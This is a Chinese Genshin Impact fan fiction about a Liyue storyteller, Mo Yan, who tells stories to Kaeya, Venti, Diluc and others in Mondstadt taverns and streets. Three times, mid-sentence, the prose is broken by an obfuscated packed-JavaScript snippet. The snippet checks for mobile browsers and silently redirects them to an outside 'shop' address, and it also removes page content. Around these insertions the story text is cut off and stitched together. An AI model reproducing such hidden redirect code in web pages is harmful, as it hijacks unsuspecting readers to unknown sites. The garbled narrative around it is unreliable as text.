《【原神】我在蒙德说书的那些年》 1. 一个关于星星眼的故事 1、 “讲一讲你自己的故事如何?” 夜晚,猫尾酒馆内热闹非凡。黑色、白色、黑白色的猫咪四处游走;酒鬼们你抱着我,我抱着你,玻璃杯与木杯相碰撞,酒花高高扬起。 黑皮肤、带着海盗眼罩的男人在莫言身边坐下,高高举起手中的酒杯:“你好呀,我是凯亚。” “我刚刚似乎听到,有个璃月来的说书人,想打听蒙德城最受欢迎的诗歌?” “嗯呐嗯呐!凯亚你好,我是莫言!我想知道,你们平时都在听什么样的故事呢?”莫言抱着一口没喝的蒲公英酒,乖巧发问。 脑袋距离酒杯太近,莫言完全没有注意到,两边的刘海垂进了酒里。 一只手指轻轻把她的刘海挑了出来。 “还是个小姑娘呢。”凯亚笑着拦下莫言喝下杯中酒,为她换了一杯新的,又重新翘着二郎腿坐下。 “众所周知,蒙德是诗与酒的城邦。你要问我最受欢迎的故事,我一时确实说不上来。” “与璃月不同,蒙德是自由的城邦。哦,我没有指责你故乡的意思,只是想说,蒙德城确实没有那么多的‘规矩’。” 他笑眯眯地给自己点了一杯“午后之死”,拿着杯子却没有急着喝,而是端详着莫言若有所思的表情,轻笑出声。 “巴巴托斯如何拯救蒙德城、四风守护如何守护蒙德城……这样的故事,蒙德城听了太多太多。” “不如讲讲你的故事?讲一讲,一个来自璃月的水元素神之眼拥有者,为什么会背井离乡,来到游吟诗人‘统治’的蒙德城,说书呢?” “那那那,你是想用听故事的形式听我娓娓道来呢,还是想听我用说书的形式讲给你呢?” 提起“说书”二字,莫言整个人都欢快了起来。她晃着脑袋后面的马尾辫,脸上浮现出了小小的得意和骄傲。 “哎呀,真的好难选啊。”凯亚脸上浮现出一丝笑意,“嗯,我还没听过人说书呢……” 莫言高高扬起下巴,小幅度地快速点头:“所以呢所以呢?” “所以——”凯亚拉长语调。 “所以,我想听你讲故事。” 莫言瞬间失去了力气,整个人趴在了桌子上,噘着嘴戳着酒杯:“好吧好吧,那我就讲故事吧。” “我喜欢说书是因为,我做过一个梦。” “我梦见了岩王帝君。” 听到异国的神明,凯亚的表情认真了些许。 莫言直起身子,脸上生出莫名的庄重:“在梦里,璃月港赫赫有名的说书人,大名鼎鼎的田铁嘴一挥折扇。” “上回书说到,彼时的璃月,海中有大魔侵扰,山间有恶螭盘曲……” 讲到此处,莫言忍不住一拍桌子,压粗声音,模仿着田铁嘴说书的样子,学得有模有样。 “随后,往生堂客卿钟离扮演的岩王帝君出场了。他喝了一口茶,嘿嘿哈哈地开始降妖除魔。” 学着梦中的样子,莫言双手抱胸:“天动万象!安如磐石!” “哦哦哦,精彩精彩!”凯亚配合的鼓掌。 莫言故作优雅地点了点头,却遮不住那两眼发光:“这,就是我与男神最初的缘分!” “你的男神,是那个什么钟离?”凯亚试探发问。 “不。” 莫言伸出一根手指,神秘莫测地摇了摇:“我的男神,是田铁嘴。” 刚刚喝进去一口酒的凯亚被呛了个正着,他咳嗽着,依然不忘发出质疑:“咳咳,为什么田铁嘴比岩神吸引人……咳咳……” 跳下椅子为这位好心的朋友拍拍背,莫言面上浮现出红晕:“正是因为男神的说书,才让我身临其境,做出如此真实的梦啊!” “所以,我有了一个梦想!”莫言高高举起酒杯,宛如举起冲锋的旗帜,“我要让全提瓦特,都听到我说的书!” 不习惯与他人接触,凯亚身子微微一僵,悄悄躲开了几分。他咳嗽着放下酒杯,语气里带着点无奈的笑意:“行,田铁嘴。我记住了。” “别光记住我男神啊。”喝下手中的蒲公英酒,莫言感觉自己有点微醺,“作为我的第一个听众,你必须记住我!” “说书人的明日之星——吴妙嘴!” “这个名字又是哪里来的?你也没有给我说书吧?”凯亚瞪大了眼睛:“等等,你不会喝多了吧?你才喝了一口啊?” 莫言脸颊绯红,她端详着眼前的男人,若有所思:“你的眼睛里有星星呢。我想起了一个梦。” “哦?” 凯亚指指自己的眼罩:“我猜,是水手和海盗吗?” “不不不,”莫言摇摇头,感觉自己文思泉涌。 她端详着手中的酒杯,笑出来声:“这蒲公英酒真是好东西啊,我感觉自己,前所未有的清醒!” “你之前喝过酒吗?” 凯亚大惊失色:“等等,别告诉我一口蒲公英酒就把你放倒了啊!” “这不重要!”莫言将杯中酒一饮而尽,再次看向凯亚,“让我来给你说书吧!” “这个故事要从五百年前讲起,彼时的提瓦特,存在一个尚未被覆灭的古国,其名为——坎瑞亚!” 凯亚瞳孔微缩。他一把揽过莫言的肩膀,架起她往里间带。 莫言大着舌头,有几分吐字不清:“坎瑞亚被众神厌弃……算了背景不重要。” “总之,一个坎瑞亚贵族,遇见了一个蒙德来的姑娘,他们相爱,相知,还生下了一个孩子。” “这个孩子后来……”莫言打了个大大的哈欠,“卡利贝尔后来……后来……” 话音未落,少女脑袋一歪,睡着了。 凯亚:“?” 凯亚瞪大的双眼:“后来怎样了?” 莫言双眼紧闭:“呼~呼呼~” 出一口浊气,凯亚单手扶额,苦笑出声:“真是的,我真会给自己找麻烦啊。” 把莫言放在沙发上,他探出身子,大喊出声:“迪奥娜小姐!这里有一个酒鬼!” 2、 “真是的,不能喝就不要喝这么多啊!” “啊啊啊,酒鬼什么的,最讨厌了!” 听到熟悉的声音,莫言努力张开眼,看着眼前一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391734|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉红,上晃下晃,左移右移。 “呀,你醒了?感觉如何?知道这是几吗?” 粉毛少女伸出十一根手指,在莫言眼前晃了晃。 “三月七,是你吗?”莫言揉了揉眼,和自己梦中的小伙伴打招呼。 “三月七?今天不是三月七日啊?” “喂喂,别睡,醒醒,你醒醒!” 3、 莫言睁开双眼,对上了一只眼,和一个海盗眼罩。 “海盗?”她猛地翻身坐起,又痛苦的捂住了头:“嘶,头疼。” “海盗”凯亚撑着手坐在沙发边,表情幽怨:“莫言小姐,你总算是醒了。” “你喝了一杯蒲公英酒就昏睡了过去,我本想请好心的迪奥娜小姐来照料,谁知……” “我才不要照顾烂酒鬼呢,哼!”门外传来少女愤怒的反驳。 凯亚摊开双手,仿佛在表示“就是如此”。 在莫言呆滞的目光中,一个粉发的猫耳少女端着一杯热水,走了进来。 托盘往桌子上一搁,迪奥娜叉着腰开始训斥二人:“真是的!不能喝就别喝了!你大老远来蒙德,该不会就是为了喝酒的吧!” 莫言呆呆地坐着,神情有几分恍惚。她面无表情地听着训斥,面无表情地接过水,一口灌下。 “等一下!” “啊烫烫烫舌头舌头!” 凯亚阻拦不及,伸出的手又扶住了自己的头:“哎你……” “活该!”迪奥娜掐着腰,表情十分愤怒,“冒着热气的水都敢喝!酒鬼就是这样子的!” 莫言一手捂着嘴,一手抱着脑袋:“抱歉抱歉,我第一次喝酒,不太知道分寸。” “哦,我知道了,一定是凯亚骗你喝酒的!” 迪奥娜愤怒地看向凯亚:“这位……” “来自璃月港的莫言小姐。”见迪奥娜卡壳,凯亚立刻补充。 “这位莫言小姐,你的酒量非常差劲,请不要再喝酒了!”她瞪了一眼凯亚,“更不要像某位骑兵队长一样,做一个大酒鬼!” “好的好的,我知道了,我不会再喝酒了!” “好的好的,迪奥娜小姐我错了,我不会再让莫言喝酒了!” 猫尾酒馆小调酒师叉着腰,气场全开,说得莫言和凯亚抱头鼠窜,狼狈而逃。 莫言下意识往后退,凯亚一边赔笑一边拉着她的袖子往门口挪。等回过神来,两人已经站在猫尾酒馆外的晨风中了。 莫言摸摸因醉酒而疼痛的脑袋,向凯亚低头道歉:“抱歉,是我的错。我不知道自己的酒量深浅,给您和那位迪奥娜小姐添麻烦了。” 凯亚摆了摆手:“没关系,我也有错。没问清楚酒量就请你喝酒,我也有不对嘛。” 他伸了个懒腰,晃了晃自己的脖子:“真是的,守了一晚上,本就有些腰酸背痛的,迪奥娜小姐还不给我酒喝。” 他忽然转过头,“对了,既然猫尾酒馆不欢迎我们——” “要不要去天使的馈赠?” “我请你一杯‘好天气’,你给我讲完你的故事,如何?” 2. 星星眼的不止坎瑞亚,还有我未名市哒 4、 一杯蒲公英酒让莫言睡了一夜。现在正是上午,就算是最慵懒的蒙德人也会被迫投入工作。 作为蒙德城数一数二的大酒馆,天使的馈赠中人迹罕至,除了凯亚、莫言之外,只有一个红发的酒保,和一个一身绿色的小男孩。 “来吧,喝下这杯‘好天气’,你就得给我讲那个故事哦?”凯亚笑眯眯的,递给莫言一杯紫色的液体。 托那杯蒲公英酒的福,莫言现在对一切酒状物保持着高度警惕。她抱着那杯漂亮的“好天气”,始终不敢下口。 “怎么,酒量不好吗?” 或许是她犹豫的时间太久,那个有着一头漂亮红发的酒保放下手中的工作,在她面前坐下。 “这杯果汁不含酒精,请放心饮用。” 得到了专业人士的保证,莫言总算放下了心。她小心地抿了一口,幸福地眯起了眼睛:“唔,这个好喝,比那个蒲公英酒好喝多了。” “才不是!蒲公英酒可是我们蒙德的传统美酒,是世界上最好喝的酒!” 带着绿帽子的双马尾男孩挤了过来,双手合十:“善良的迪卢克先生,可以施舍给这位可怜的吟游诗人一杯蒲公英酒吗?” 他眨巴着那双大眼睛:“我可以出双倍价钱!” 酒保迪卢克摇了摇头,起身擦起了酒杯:“未成年不能饮酒。” “诶~可这位小姐就能喝啊!”吟游诗人指着莫言,脸上满是委屈。 莫言摸了摸下巴,戳了戳这位未成年的吟游诗人:“我成年了,一会儿我买酒请你喝!” 迪卢克面无表情:“这位小姐,请不要请未成年人喝酒。” “哇!你可真是个大好人啊!” 完全没有在意迪卢克的话,吟游诗人满脸快乐地坐在莫言身旁,将腰间的琴抱在了怀中,“你好呀,我是温迪,是蒙德城里最好的吟游诗人哦!” 最好的吟游诗人! 莫言双眼一亮,连忙放下酒杯,抓住了温迪的双手:“温迪你好!我叫莫言,艺名吴妙嘴,是未来蒙德城最好的说书人!” “说书人?你是璃月港来的吗?为什么要来蒙德说书?” “这个故事要从十年前说起。八岁的我做了一个梦……” “停停停,”凯亚突然插话,将酒杯放在二人中间,打断莫言和温迪的畅谈,“知道你们二位一见如故,但是莫言小姐,您还欠我一个故事呢?” 他看着莫言的双眼,露出一个微笑。 “一个,坎瑞亚的故事。” 5、 “错!不是坎瑞亚的故事,是一个有关星星眼的爱情故事!” 现在是上午,天使的馈赠内,只有酒保迪卢克、吟游诗人温迪、凯亚和莫言四人。 虽然观众不够多,但莫言没有放弃自己说书人的素养:“那个故事不够好,我再给你讲一个,更出动人心的、星星眼的故事!” 凯亚摸摸下巴:“也行?” “嗯嗯,好。”莫言清清嗓子,手中折扇作惊堂木一拍,将故事娓娓道来: “说起星星眼,咱就想起一个离奇的案子——当红演员杀人案!” “且说有个叫未名市的地方,受神明垂青,所有人的眼中都有星星。” 凯亚和温迪对视了一眼。温迪笑着低下头,喝着自己的苹果汁。凯亚举起酒杯,遥遥行礼。 “而有位大名鼎鼎的偶像,唤作厉舟,生得是面如冠玉,迷倒万千少女。可就这么个风光人物,一夜之间竟成了杀人嫌犯!” 迪卢克摸着下巴,呐呐自语:“偶像?莫非是爱丽丝女士说的那个……” “死者是谁?知名服装设计师,沈曦!这一日,沈曦在庆功宴上,吃了块巧克力,转眼就七窍流血,一命呜呼!” “您道那巧克力是谁送的?正是沈曦的合作者,大商人陆景和!” 莫言展开折扇,轻轻摇动。 “列位是不是以为,是这陆景和害沈曦性命?” 她伸出食指,轻轻摇了摇:“这其中还有内情!” “细细一查,嘿,不对!那巧克力盒子上的指纹,不是陆景和的!顺着线索摸下去,真凶浮出水面——是沈曦的丈夫,厉舟!” “这俩人,竟然瞒着众人,偷偷做了夫妻!一个当红偶像不敢公开,一个千金小姐憋屈隐忍。再加那私生饭日夜骚扰,闹得那厉舟得了躁郁症,时不时就情绪失控。最终,咔嚓!走了那不归路!” 莫言合上折扇,往桌子上一拍。 啪! 满堂寂静。 6、 一片寂静中,温迪第一个开口:“好故事!” 他摸着下巴,用专业的眼光开始挑毛病:“这个起承转合真不错,但篇幅太短了,故事讲的太急了。” “哦哦哦,好厉害,真不愧是蒙德最好的吟游诗人!” 莫言努力点头,掏出小本本开始记录。 这可是她吴妙嘴最大的竞争对手的建议,记下记下! 迪卢克又给莫言上了一杯苹果汁:“感谢你的表演,这杯,我请客。” 他顿了顿:“不过,我有点好奇。这个故事,你是从哪里得来的灵感呢?” “对啊对啊,虽然这个故事不错,可上个故事,莫言你可没给我结尾呢。” 凯亚摇晃着杯中的酒,轻轻笑着:“不如,再来一个?” 7、 “不要。” 莫言双手在胸前比个叉号,果断拒绝:“拜托,免费的说书人也是会累的哦!” “真的不能吗?拜托了,我真的很好奇啊。”凯亚拉着他的板凳,朝莫言又靠近了些许。 “其实也不是不行……”莫言犹豫片刻,最终决定实话实说,“那个故事我还没有编好。” 迪卢克却提出了不同的意见:“可你既然有灵感,不如说出来,让我们这些听众共同提一下意见。” 莫言思考着,点了点头。 她嘿嘿一笑,似乎有些不太好意思:“其实也不算灵感,就是做了一个梦。” “是很俗套的爱情故事啦。梦里,坎瑞亚覆灭后,纯血得了不死诅咒,混血都变成了怪物,嗯,就丘丘人那种。” 莫言拿着扇子敲打着桌面,努力思考着:“主角是坎瑞亚人,爱上了一个蒙德姑娘,生下了一个混血的孩子。” “神罚之后,主角为了救孩子,将爱人的尸体埋在土里,用长出的蘑菇做药。并且欺骗自己的孩子,藏起了所有的镜子。” “但是,这个孩子依然看到了自己的脸。” 讲完大致经过,莫言将头埋在臂弯里,趴在桌子上:“啊啊啊好羞耻啊!我在编这个故事的时候,可不知道凯亚先生竟然是历史学家!” 凯亚指着自己的鼻子:“诶?谁?我吗?” “没错,是你。” 莫言坐直身子,表情带上了几分幽怨:“我只是想随便找个古国套剧情而已,谁知道,凯亚先生竟然抓着坎瑞亚不放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391735|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “啊啊啊啊啊,什么不死诅咒什么神罚都是我的私设啊!” 迪卢克收走了差点被莫言碰到的杯子:“你的逻辑不错。” 温迪却提出了反对意见:“这个故事太俗套了,而且一点都不浪漫!” 他坐在椅子的一角,将另一侧的椅子腿高高翘起,在空中荡悠荡悠。 温迪晃着腿,语气轻飘飘的:“俗套归俗套,不过嘛——” 他眨眨眼:“只要你不说,谁会知道你是编的呢?” “不过,蒙德城学者可不少。要是莫言你碰到了像凯亚先生这样较真的人,小心被拉着去上历史课哦!” “啊啊啊啊大家放过我这个历史渣渣吧!” 莫言抱头痛哭:“在璃月港就是这样,我随便编点野史,钟离先生就会来指出错误。” “不够野的还叫野史吗?” “我讲归终和某位仙人高山流水遇知音,以琴会友,暗生情愫。钟离先生说不行,璃月港有仙人居住,小心我被玉京台盯上。” “我讲因为处理海洋的魔神,帝君大人极其讨厌海鲜。我明明请了钟离先生吃海鲜,他竟然引经据典,挑了我十几个毛病!” “还有还有,我说帝君大人随手能捏造钱币,微服私访时肯定没有带钱的习惯,说不定会皱着眉头跟各种朋友借钱。” “结果!” “我的男神竟然说我在污蔑帝君大人的形象!啊啊啊啊啊我的男神,你怎么能为了帝君大人,放弃编造野史呢!” 莫言吸了吸鼻子:“不过,即使如此,男神依旧是我的男神!” 她揉揉眼睛,一抬头,正好对上温迪那双翠绿色眼睛。 温迪,wind。 “温迪,是风啊。”莫言喃喃道。 看着被震慑在原地的三人,她一把拉住温迪的手:“不知道为什么,从看到你的第一眼,我的灵感就滋滋滋的往外冒!” 她双眼放光: “我想到了一个新的故事,一个关于风神巴巴托斯的故事!” “你们觉得巴巴托斯喝醉酒,去找岩王帝君挑战,这个灵感如何?” 迪卢克面无表情:“感觉故事一般。” “好像,不太符合巴巴托斯在诗歌中的形象?”温迪沉思片刻,提出质疑,“看到我,为什么会想到巴巴托斯啊?” 莫言挠挠头:“因为在我梦中,巴巴托斯就长你的样子。” “哎呀不管了,反正梦都是乱七八糟的!” 莫言的手在空气中扒拉了几下,似乎想将乱七八糟的思绪扇飞。 担心温迪介意,也担心这些蒙德人误会自己玷污人家的信仰,莫言开了一个玩笑:“其实在我梦里,岩王帝君还长着往生堂客卿钟离的脸呢!” “好不好笑?” 迪卢克意味深长地看了一眼温迪:“好笑。” 温迪笑的很勉强:“好,好笑?” “很好玩诶!” 凯亚看看莫言,又看看温迪,高高举起酒杯:“我倒是挺想听巴巴托斯的故事——” “哼哼!” 莫言爬上了板凳,站在椅子上俯视众人:“但是今天,我不讲了!” 面对神色各异的众人,她高高扬起嘴角:“今天的说书时间到此结束!” “欲知后事如何,且听下回分解!” 8、 “不要站在椅子上。危险。” “哦哦哦抱歉迪卢克先生!我马上下来!” 3. 干点正事吧,巴巴托斯! 9、 酣畅淋漓的完成了自己的第一次说书任务,莫言哼着歌,回到了自己的住处——歌德大饭店。 的后边的后边的后边的某栋小房子中。 “没办法,歌德大饭店被愚人众整个租用了。不然,我就直接住在那里了!” 猎鹿人中,莫言戳着眼前的蜜酱胡萝卜煎,感觉有些吃不下去。 “这真的是蒙德的传统美食吗?怎么这么腻?”她灌了一大口水,开始怀念起了那杯好喝的“好天气”。 “真是好大的口气啊!”蓝色的占星术师如此吐槽。 莫娜,莫言的“穷友”,也是莫言“同姓的好姐妹”,咬着嘴里的鱼人吐司,冷漠反问:“想住歌德大饭店,你有钱吗?” “没有。” “哦,我也没有。” 穷鬼二人相顾无言。 半晌,莫言锤了一下桌子:“可恶,歌德酒店怎么会那么贵呢?” “虽然我是未来提瓦特最好的说书人,但现在,我确实没什么钱啊!” 莫娜也一拍桌子:“对啊,钱呢,钱呢,我命中注定该有的钱,都去到了哪里呢!” “二位!请不要损坏桌子!”莎拉小姐高喊着。 “对不起对不起!”水元素神之眼穷鬼二人组连忙低头道歉。 啃着发腻的煎肉,莫言开始思考赚钱途径:“莫娜莫娜,在蒙德城,吟游诗人都怎么赚钱呢?” “这我哪儿知道。”莫娜吃下最后一口吐司,取出轻飘飘的钱包,一枚一枚地数着摩拉。 “据我了解,吟游诗人会站在广场演奏,大家会给一些钱。而遇见一些大型活动,猫尾酒馆、天使的馈赠一类的有钱人,也会邀请吟游诗人前来表演。” “哦哦哦!”莫言点着头,“类似讨口子唱莲花落?” “那是什么?璃月的特殊文化吗?怎么听起来怪怪的?” 莫言摆摆手:“那不重要。重要的是,我要想办法赚钱了。” “都说蒙德是自由的城邦,我是不是要学着浪漫一点……” 小声嘀咕着,莫言抬起头,端详着莫娜的脸。 莫娜歪歪头:“什么?” 莫言深呼一口气,神情极其严肃:“莫娜,你知道吗?天上的月亮是假的。” “什、什么!” 莫娜神色一变:“你怎么会……” “因为,真正的月亮,在你眼眸中。” 莫言深情款款地注视着莫娜,绣口一吐,便是一句酸诗。 莫娜:“啊?” “哎?我这句诗写的不好吗?”莫言瞪大了双眼,下意识撑着桌子站了起来,“我还以为莫娜会喜欢这种话呢。” 莫娜僵硬地笑了笑:“额,我应该不喜欢这种话吧……” “可恶,考虑到莫娜是占星术师,我还特意用月亮做比喻呢!啊啊啊啊啊,我就这么没有浪漫的天分吗?” 莫言沮丧地趴回桌子上,并且趁机将那盘蜜酱胡萝卜煎肉推得远远的。 “好吧好吧,其实还挺浪漫的。”莫娜脸上有了几分无奈。 她小声嘀咕着:“要是不涉及虚假之天就更好了……” “什么?”莫言没听清,下意识反问了一句,却又被自己打断,“算了算了,你说得这么小声,不就是为了让我听不见吗?我要再追问,就太看不懂脸色了。” 她伸了个懒腰:“好了,我现在要回家写我的新稿了!等演出的时候,莫娜一定要来捧场哦!” “好嘞,你放心吧,到时候见。”莫娜摆摆手,告别了这个格外活泼的朋友。 10、 “等等,你要在哪里演出?” “时间呢?地点呢?” “只给我一个人物,你在考验我的卜算技术吗?” “啊啊啊啊啊莫言你回来啊!” “是莫娜小姐吗?你最近的房租……” “啊哈哈哈,歌德先生,您行行好,在宽限我一段时间……” 11、 凯亚独自坐在天使的馈赠中。 迪卢克依旧在擦着酒杯,似乎无穷无尽。 “那个莫言,到底是什么人?” 凯亚摇晃着杯中的美景,若有所思:“一个,璃月的普通女孩。” “呵。”迪卢克发出一声轻笑。 “好吧好吧,我收回前言。莫言是一个很有个性的说书人。” 凯亚左手撑脸,抿下去一口酒:“不过,我还是蛮喜欢她的故事的。” “当然,不包括野史那部分。” 12、 那些只有风能吹来的声音—— “特瓦林,快帮我回忆一下,我真的有过在醉酒后,去找老爷子打架吗?” “呵。” “哎哎哎?特瓦林你怎么飞走了?该不会,我真的做过这种事情吧?” “呵。” “哎哎哎?” 13、 莫言租下的房子很小,小到她根本听不到窗外的风声。 少女坐在桌子上,咬着笔头,努力的编写着那个属于巴巴托斯的故事。 “嗯……要写一个前情提要吗?在蒙德科普巴巴托斯,好像没有什么必要?” “可我写的是野史……算了提一嘴吧。” “众所周知,咱蒙德是诗歌与自由的城邦,可诸位看官不知道,这大名鼎鼎的风神,也会化作吟游诗人,游历世间。” “不错不错,就这样!” “接下来,就该说四风守护了……” “嗯?我没有开窗户吧,怎么会起风了呢?” 14、 在微风的安抚中,在正午阳光的照射下,莫言开始发困。她揉了揉眼,在桌子上趴了下去。 长长的刘海在空中荡悠、荡悠。 15、 颁奖典礼的喧嚣声如潮水般涌来,聚光灯下,莫言站在人群中央,接过那枚沉甸甸的、由黄金制成的诺贝尔文学奖奖章。 有记者伸长脖子喊:“莫老师,750万奖金您打算怎么花?” 他愣了一下,随即笑出声来:“这个钱啊——可以用来在北京买套房。” 周围人都笑了。 笑声还没散尽,莫言已经转身往外走。 人群自动让开一条缝。 莫言走得不快。礼堂门口的风灌进来,把他头顶那几根倔强的头发吹得竖了起来,在空中抖了又抖。 有人想追上去再问点什么,却只看见那几根头发在风中晃了晃,便消失在门外的夜色里。 16、 “什么鬼东西!” 莫言猛地直起身迅速后退。椅子“咣当”一声倒在地上,才让她稍微清醒了几分:“我梦见了什么?我变秃了,我也变强了?” 她下意识挠了挠头。很好,依旧是满头黑发很健康。她还是那个满头黑发的小菜鸟。 她低下头,看着那乱七八糟的草稿,不由地叹了一口气:“梦中那位伟大的莫言先生,求求您借我一点灵感吧!” “当然,要是不需要用头发换就更好了。” 17、 “不过,那种级别的大作家还买不起房子啊?怪不得我没有地方住呢。” “从这个角度来看,好像歌德先生更厉害?” 18、 站在冒险家协会门口,莫言捋着自己不存在的胡子,将惊堂木拍在墙上:“来一来看一看喽,来自璃月的说书,大家走过路过不要错过~” 凯亚第一个走了过来:“哎呀呀,终于要开始了吗,我可是期待了好久呢!” 莫娜也冒了出来:“真是的,你可让我好找。要是你说的不好……哼哼,可别怪我不客气。” 凯亚挑眉:“哦?莫娜小姐也认识莫言?” “同姓的好姐妹,怎么,不行吗?” “哈哈哈,莫娜·梅姬丝图斯,按照璃月的说法,确实也是姓莫。” 受热烈的气氛影响,不少人都围了过来。 白色短发的冒险家表情困惑:“咦,说书,那是什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391736|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着乌鸦的紫色少女也挤进人群:“此等将故事化作尘世闲谈的仪典?竟敢在幽夜净土之外的寻常之地,以凡人之舌,编织命运的浮影——呵,有趣。本皇女便在此驻足聆听,且允你稍显意趣的记述吧。” 那只鸟微微点了点头:“小姐的意思是,说书,有点意思。” “菲谢尔,你也来了吗?” 菲谢尔骄傲地点点头:“既然尔等如此虔诚地在此编织尘世幻梦,本皇女便恩准自己暂且降下聆听的旨意。” “小姐的意思是,她感觉很有趣,也想来凑热闹。” “奥兹,你!” 仗着身高的优势,温迪挤到了前排:“下午好呀莫言,我来给你捧场啦。” 无论是赞扬还是质疑,莫言始终没有回应。她学着璃月港商贩招揽顾客的台词,努力地吆喝着。 终于,人越来越多,气氛也越来越高涨。见时机正好,莫言再次向墙上一拍惊堂木。 “列位看官,且听我说段奇闻!” 19、 “众所周知,咱蒙德是诗歌与自由的城邦,可诸位看官不知道,这大名鼎鼎的风神,也会化作吟游诗人,游历世间,享用美酒。” “哦哦哦!有趣有趣!”凯亚配合的高呼着。 莫言向他微微点头。 “列位要问了,这位风神大人,为何放着好好的神明不当,偏要扮作这流浪诗人?嘿,这事儿,且听我细细道来。” 站在人群中,莫言恍惚间想到了梦中的场景。 一片灰白的天空下,古老的蒙德城初具雏形。 旁白压低了嗓子,沉沉说道:“我要说的故事,开始于上一个千年。‘南风之狮’驱逐贵族,‘西风之鹰’初创成型;‘北风之狼’流浪归来,定居狼林。□□流转,重生的自由之城,百废待兴……” 莫言压低了嗓子,沉沉说道:“列位可知,这四风守护,便是蒙德立国之初的四位功臣:狮牙骑士、西风骑士团、北风狼王,还有那高天之上的风魔龙特瓦林。他们与风神巴巴托斯一道,护佑着这座自由之城。” “而在这城中,却有人手指拨动琴弦,口中唱的词句,竟是千年前的古语!路人听得目瞪口呆,纷纷议论:这流浪诗人从何而来?怎会唱如此古老的歌谣?” “有人问他自己,他却只眨眨眼。” 莫言摇头叹气:“众人只知他口中唱着千年之前的歌谣,却没有人知道,他,正是那千年之前的人。” “这日,巴巴托斯所化的那吟游诗人,唱腻千年旧曲,忽起童心,抱琴去访那四位老友。” “头一站,寻南风之狮。那狮子卧在风中,听他絮叨两句,只把眼皮一耷拉,扭过头去,全当没听见。” “风神讪讪一笑,转身去找西风之鹰。巨鹰立于高塔之巅,他刚拨响琴弦,那鹰竟展开双翅,头也不回地飞入云端,留他一人举着琴愣神。” 白发的冒险家有几分困惑:“哎?东方之狮不是琴团长吗?西风之鹰不是西风骑士团吗?怎么都变成动物啦?” 紫衣的少女听得正起劲:“这是艺术创作,肯定和现实不太一样。” “小姐的意思是说,呵,凡人以口舌编织的因果,自然无法与幽夜净土中降下的真实预言相提并论。”紫色的鸟儿立刻补充。 没有理会观众之间的争论,莫言聚精会神,继续往下讲着: “众人纷纷拒绝,风神又往北境狼林去。北风之狼蹲坐林间,风神上前刚要开口,那狼喉咙里滚出一声低吼——不是愤怒,倒像极了不耐烦的叹息。” “风神挠挠头,最后飞上高空,去找那位最熟的老友——风魔龙特瓦林。” “他凑上前,手指刚搭上琴弦,还没出声——” 莫言将语调拉得长长的,看着观众们好奇的神色,她才满意的继续讲述。 “那巨龙缓缓睁开眼,闷声闷气道:” “干点正事吧,巴巴托斯!” 一句话终了,莫言一拍惊堂木。 “啪!” 满堂寂静。 4. 敬,不干正事的巴巴托斯 20、 莫言攥着惊堂木,轻轻抿着嘴唇,等待着观众们给予评价。 无论是喝彩,还是倒彩,她都可以接受的,只要观众们愿意听,只要观众们愿意评价—— 莫言抬起眼,期待地看着人群。 有道声音从背后响起—— “这位小姐,可不可以稍微让一让?那边有委托人……” 凯瑟琳表情有些许的为难:“您站在这里,围观的人太多,稍微有些打扰冒险家协会的日常工作……” “抱歉抱歉抱歉!我马上走!”莫言双手合十,含糊地作了两个揖,便低着头往北走。 “抱歉,我们之风也需要开门接待客人……”是玛乔丽小姐。 “对不起对不起对不起,我这就离开!” 莫言低着头往东走。 “大家让一让,不要挤到花啦!就、就算是迪卢克老爷,也得让开!”是唐娜小姐。 “对不起对不起对不起,我这就离开!” 莫言低着头往西走。 “这里有火炉,大家避开一些。”是瓦格纳先生。 “对不起对不起对不起,我这就离开!” 莫言低着头往南走。 “大家让一让,请不要在城门口聚集!唔,没错,不能城门口聚集,《骑士团指导手册》是有这条规定的!”是城门口的西风骑士斯万。 “对不起对不起对不起,我这就离开!” 莫言低着头继续往南走。 不知为何,围观的人群也没有散去。大家一直跟着莫言,东挪西挪,南去北往,画面甚至有几分好笑。 有几只白鸽飞起,为这幅“喜剧”配上了合适的背景。 望着远去的白鸽,莫言心中升起了一分别样的情绪。她嘴角微微抬起,勾勒出一个小小的微笑—— “哇!你们把我的鸽子都吓跑了!”是提米。 “对不起对不起对不起,我这就离开!” 21、 “市民们,请不要集体前往野外!更不要在外长时间逗留!”红色的西风骑士如是说。 “对不起对不起对不起,我这就离开!”无奈的莫言如是说。 “抱歉,这里是我的家门口,有点妨碍进出……”棕发的市民如是说。 “对不起对不起,我这就离开!”愧疚的莫言如是说。 “这里是愚人众的地方!都让开!”歌德大酒店门口,神色嚣张的愚人众守卫如是说。 “哼!对不起,我这就离开!”愤怒的莫言如是说。 经历一番长途跋涉,莫言终于带着人群在风神像下安顿下来。 